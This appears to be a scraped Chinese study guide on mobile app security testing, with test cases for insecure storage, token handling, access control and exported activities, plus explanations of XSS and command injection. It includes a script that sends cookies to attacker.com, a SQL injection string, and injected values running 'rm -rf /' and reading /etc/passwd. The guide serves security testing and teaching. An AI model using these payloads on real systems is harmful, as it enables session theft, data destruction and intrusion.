存储安全
传输安全
隐私合规
' OR 1=1--
)测试接口响应。adb shell am start -n com.example/.DebugActivity
)。场景
用户登录后,应用将密码明文存储在本地数据库的users
表中。
测试用例
标题:验证用户密码是否加密存储
步骤:
adb shell
进入设备,找到应用数据目录:
adb shell "run-as com.example.app ls /data/data/com.example.app/databases"
adb pull /data/data/com.example.app/databases/user.db
user.db
,检查users
表中的密码字段是否为明文。预期结果:密码字段应为哈希值(如SHA-256)或加密后的密文。
工具:ADB、DB Browser for SQLite
风险等级:高危(明文存储可被恶意应用直接窃取)
场景
应用在登录时使用HTTP协议传输用户凭证,未启用HTTPS。
测试用例
https://
,若为http://
,尝试修改请求内容(如密码字段)并重放。场景
应用允许用户设置“123456”等弱密码。
测试用例
123456
(纯数字)password
(常见弱密码)abc
(长度不足)场景
用户注销后,应用未使Token失效,导致会话劫持。
测试用例
Authorization: Bearer xxxx
)。GET /api/user/profile
)。401 Unauthorized
。场景
应用未启用代码混淆,关键算法(如加密逻辑)在反编译后暴露。
测试用例
apktool
解包APK文件:
apktool d app-release.apk -o output_dir
com.example.app.util.CryptoUtils
类。encryptPassword()
)是否以明文逻辑显示(如直接调用AES密钥)。场景
通过修改用户ID参数,普通用户可访问其他用户的数据。
测试用例
GET /api/users/123/profile
获取自身数据。456
(其他用户)。403 Forbidden
,禁止非授权访问。场景
应用的调试Activity(如DebugActivity
)被导出,无需权限即可启动。
测试用例
dz> run app.package.attacksurface com.example.app
adb shell am start -n com.example.app/.DebugActivity
android:exported="false"
。场景
应用在调试日志中打印用户手机号或Token。
测试用例
token
、phone
、password
。token=***
)。场景
应用使用含CVE漏洞的旧版本OkHttp(如CVE-2023-3635)。
CVE(Common Vulnerabilities and Exposures)公共漏洞和暴露
测试用例
dependency-check --project MyApp --scan ./app/libs
OWASP(Open Worldwide Application Security Project,开放全球应用安全项目)是一个非营利性国际组织,专注于研究和改进应用软件安全。它的核心目标是帮助开发者、测试人员和企业构建和维护安全的应用程序,通过公开分享知识、工具和最佳实践来降低安全风险。
1.OWASP MASTG(Mobile Application Security Testing Guide)
2.OWASP MASVS (Mobile Application Security Verification Standard)
SharedPreferences(Android) 和 NSUserDefaults(iOS) 是移动应用开发中用于存储轻量级键值对数据(Key-Value)的本地存储机制。它们主要用于保存应用的简单配置、用户偏好设置或临时状态数据,但需注意其安全性问题。
测试场景
adb
导出 /data/data/<包名>/shared_prefs/
下的 XML 文件,搜索敏感字段。.plist
文件,或使用 NSUserDefaults
读取工具(如 iExplorer
)。Jetpack Security
),检查密钥管理是否安全(如是否硬编码密钥)。SharedPreferences
,Root 设备后可直接窃取 Token 进行账户劫持。NSUserDefaults
存储临时密码,越狱设备读取 .plist
文件后绕过身份验证。跨站脚本攻击,Cross-Site Scripting
定义
攻击者向网页中注入恶意脚本(如 JavaScript),当其他用户访问该页面时,脚本在其浏览器执行,窃取数据或劫持会话。
原理
<script>
标签或事件属性(如 onerror
)。<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
窃取用户 Cookie。https://example.com/search?q=<script>alert(1)</script>
页面直接显示 q
参数内容,触发弹窗。document.getElementById("output").innerHTML = location.hash.slice(1);
访问 https://example.com#<img src=x onerror=alert(1)>
触发攻击。定义
攻击者在应用程序调用系统命令时,注入恶意参数,导致执行非预期的操作系统命令(如删除文件、启动服务)。
原理
;
、&&
、|
)。8.8.8.8; rm -rf /
,触发命令:
ping 8.8.8.8; rm -rf / # 执行 ping 后删除服务器文件
file.jpg; cat /etc/passwd > output.txt
,读取系统密码文件。